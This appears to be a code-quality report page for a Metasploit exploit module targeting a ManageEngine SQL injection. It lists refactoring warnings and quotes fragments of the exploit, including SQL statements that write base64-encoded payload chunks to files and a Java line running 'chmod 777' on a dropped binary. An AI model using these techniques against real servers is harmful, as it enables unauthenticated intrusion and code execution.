rapid7/metasploit-framework

View on GitHub
modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb

Summary

Maintainability
F
3 days
Test Coverage

File manage_engine_dc_pmp_sqli.rb has 489 lines of code (exceeds 250 allowed). Consider refactoring.
Open

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
Severity: Minor
Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 7 hrs to fix

    Method initialize has 105 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

      def initialize(info={})
        super(update_info(info,
          'Name'           => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection",
          'Description'    => %q{
            This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
    Severity: Major
    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 4 hrs to fix

      Method generate_jsp_encoded has 62 lines of code (exceeds 25 allowed). Consider refactoring.
      Open

        def generate_jsp_encoded(files)
          native_payload_name = rand_text_alpha(rand(6)+3)
          ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
      
          var_raw     = rand_text_alpha(rand(8) + 3)
      Severity: Major
      Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 2 hrs to fix

        Class MetasploitModule has 21 methods (exceeds 20 allowed). Consider refactoring.
        Open

        class MetasploitModule < Msf::Exploit::Remote
          Rank = ExcellentRanking
        
          include Msf::Exploit::Remote::HttpClient
          include Msf::Exploit::FileDropper
        Severity: Minor
        Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 2 hrs to fix

          Method inject_exec has a Cognitive Complexity of 16 (exceeds 5 allowed). Consider refactoring.
          Open

            def inject_exec(fullpath)
              base64_exe = generate_exe_payload
              base64_exe_len = base64_exe.length
          
              # We will be injecting in CHUNK_SIZE steps
          Severity: Minor
          Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 2 hrs to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method inject_exec has 47 lines of code (exceeds 25 allowed). Consider refactoring.
          Open

            def inject_exec(fullpath)
              base64_exe = generate_exe_payload
              base64_exe_len = base64_exe.length
          
              # We will be injecting in CHUNK_SIZE steps
          Severity: Minor
          Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 1 hr to fix

            Method pick_postgres_target has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.
            Open

              def pick_postgres_target(postgresql_path, rand_txt)
                file_path = postgresql_path << rand_txt
            
                # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
                inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
            Severity: Minor
            Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 1 hr to fix

            Cognitive Complexity

            Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

            A method's cognitive complexity is based on a few simple rules:

            • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
            • Code is considered more complex for each "break in the linear flow of the code"
            • Code is considered more complex when "flow breaking structures are nested"

            Further reading

            Method pick_postgres_target has 30 lines of code (exceeds 25 allowed). Consider refactoring.
            Open

              def pick_postgres_target(postgresql_path, rand_txt)
                file_path = postgresql_path << rand_txt
            
                # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux)
                inject_sql("copy (select version()) to '#{file_path}'", "postgresql")
            Severity: Minor
            Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 1 hr to fix

              Method check_password_manager_pro has 28 lines of code (exceeds 25 allowed). Consider refactoring.
              Open

                def check_password_manager_pro
                  res = send_request_cgi({
                                             'uri' => normalize_uri("PassTrixMain.cc"),
                                             'method' => 'GET'
                                         })
              Severity: Minor
              Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 1 hr to fix

                Method pick_mysql_target has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
                Open

                  def pick_mysql_target(mysql_path, rand_txt)
                    file_path = mysql_path << rand_txt
                
                    # @@version_compile_os will give us Win32 / Win64 if it's a Windows target
                    inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql")
                Severity: Minor
                Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 1 hr to fix

                Cognitive Complexity

                Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                A method's cognitive complexity is based on a few simple rules:

                • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                • Code is considered more complex for each "break in the linear flow of the code"
                • Code is considered more complex when "flow breaking structures are nested"

                Further reading

                Method check_password_manager_pro has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.
                Open

                  def check_password_manager_pro
                    res = send_request_cgi({
                                               'uri' => normalize_uri("PassTrixMain.cc"),
                                               'method' => 'GET'
                                           })
                Severity: Minor
                Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 45 mins to fix

                Cognitive Complexity

                Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                A method's cognitive complexity is based on a few simple rules:

                • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                • Code is considered more complex for each "break in the linear flow of the code"
                • Code is considered more complex when "flow breaking structures are nested"

                Further reading

                Consider simplifying this complex logical expression.
                Open

                    if res && res.code == 200 &&
                        res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
                        (
                          res.body.to_s =~ /login\.css\?([0-9]+)/ ||                            # PMP v6
                          res.body.to_s =~ /login\.css\?version=([0-9]+)/ ||                    # PMP v6
                Severity: Major
                Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 40 mins to fix

                  Method check_desktop_central has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.
                  Open

                    def check_desktop_central
                      res = send_request_cgi({
                                                 'uri' => normalize_uri("configurations.do"),
                                                 'method' => 'GET'
                                             })
                  Severity: Minor
                  Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 35 mins to fix

                  Cognitive Complexity

                  Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                  A method's cognitive complexity is based on a few simple rules:

                  • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                  • Code is considered more complex for each "break in the linear flow of the code"
                  • Code is considered more complex when "flow breaking structures are nested"

                  Further reading

                  Avoid too many return statements within this method.
                  Open

                        return targets[6]
                  Severity: Major
                  Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 30 mins to fix

                    Method generate_jsp_encoded has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
                    Open

                      def generate_jsp_encoded(files)
                        native_payload_name = rand_text_alpha(rand(6)+3)
                        ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
                    
                        var_raw     = rand_text_alpha(rand(8) + 3)
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 25 mins to fix

                    Cognitive Complexity

                    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                    A method's cognitive complexity is based on a few simple rules:

                    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                    • Code is considered more complex for each "break in the linear flow of the code"
                    • Code is considered more complex when "flow breaking structures are nested"

                    Further reading

                    Method exploit has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
                    Open

                      def exploit
                        @my_target = pick_target
                        if @my_target.nil?
                          fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed")
                        else
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 25 mins to fix

                    Cognitive Complexity

                    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                    A method's cognitive complexity is based on a few simple rules:

                    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                    • Code is considered more complex for each "break in the linear flow of the code"
                    • Code is considered more complex when "flow breaking structures are nested"

                    Further reading

                    Method inject_sql has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
                    Open

                      def inject_sql(sqli_command, target = nil)
                        target = (target == nil) ? @my_target['Database'] : target
                        if target == 'postgresql'
                          sqli_prefix = "viewname\";"
                          sqli_suffix = ";-- "
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 25 mins to fix

                    Cognitive Complexity

                    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                    A method's cognitive complexity is based on a few simple rules:

                    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                    • Code is considered more complex for each "break in the linear flow of the code"
                    • Code is considered more complex when "flow breaking structures are nested"

                    Further reading

                    Method desktop_central_db_paths has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.
                    Open

                      def desktop_central_db_paths
                        db_paths = {}
                        res = send_request_cgi({
                                                   'uri' => normalize_uri("configurations.do"),
                                                   'method' => 'GET'
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb - About 25 mins to fix

                    Cognitive Complexity

                    Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

                    A method's cognitive complexity is based on a few simple rules:

                    • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
                    • Code is considered more complex for each "break in the linear flow of the code"
                    • Code is considered more complex when "flow breaking structures are nested"

                    Further reading

                    Identical blocks of code found in 6 locations. Consider refactoring.
                    Open

                        if @my_target['Platform'] == 'linux'
                          var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
                          chmod = %Q|
                          Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
                          Thread.sleep(200);
                    Severity: Major
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb and 5 other locations - About 55 mins to fix
                    modules/exploits/multi/http/eventlog_file_upload.rb on lines 212..226
                    modules/exploits/multi/http/manageengine_search_sqli.rb on lines 114..128
                    modules/exploits/multi/http/novell_servicedesk_rce.rb on lines 191..205
                    modules/exploits/multi/http/sysaid_auth_file_upload.rb on lines 180..194
                    modules/exploits/multi/http/webnms_file_upload.rb on lines 149..163

                    Duplicated Code

                    Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

                    Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

                    When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

                    Tuning

                    This issue has a mass of 44.

                    We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

                    The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

                    If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

                    See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

                    Refactorings

                    Further Reading

                    Identical blocks of code found in 2 locations. Consider refactoring.
                    Open

                        if @my_target['Database'] == 'postgresql'
                          inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
                        else
                          # Assuming mysql
                          inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb and 1 other location - About 30 mins to fix
                    modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb on lines 506..510

                    Duplicated Code

                    Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

                    Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

                    When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

                    Tuning

                    This issue has a mass of 32.

                    We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

                    The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

                    If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

                    See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

                    Refactorings

                    Further Reading

                    Identical blocks of code found in 2 locations. Consider refactoring.
                    Open

                          if @my_target['Database'] == 'postgresql'
                            inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'")
                          else
                            # Assuming mysql
                            inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'")
                    Severity: Minor
                    Found in modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb and 1 other location - About 30 mins to fix
                    modules/exploits/multi/http/manage_engine_dc_pmp_sqli.rb on lines 491..495

                    Duplicated Code

                    Duplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:

                    Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.

                    When you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).

                    Tuning

                    This issue has a mass of 32.

                    We set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.

                    The threshold configuration represents the minimum mass a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.

                    If the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.

                    See codeclimate-duplication's documentation for more information about tuning the mass threshold in your .codeclimate.yml.

                    Refactorings

                    Further Reading

                    There are no issues that match your filters.

                    Category
                    Status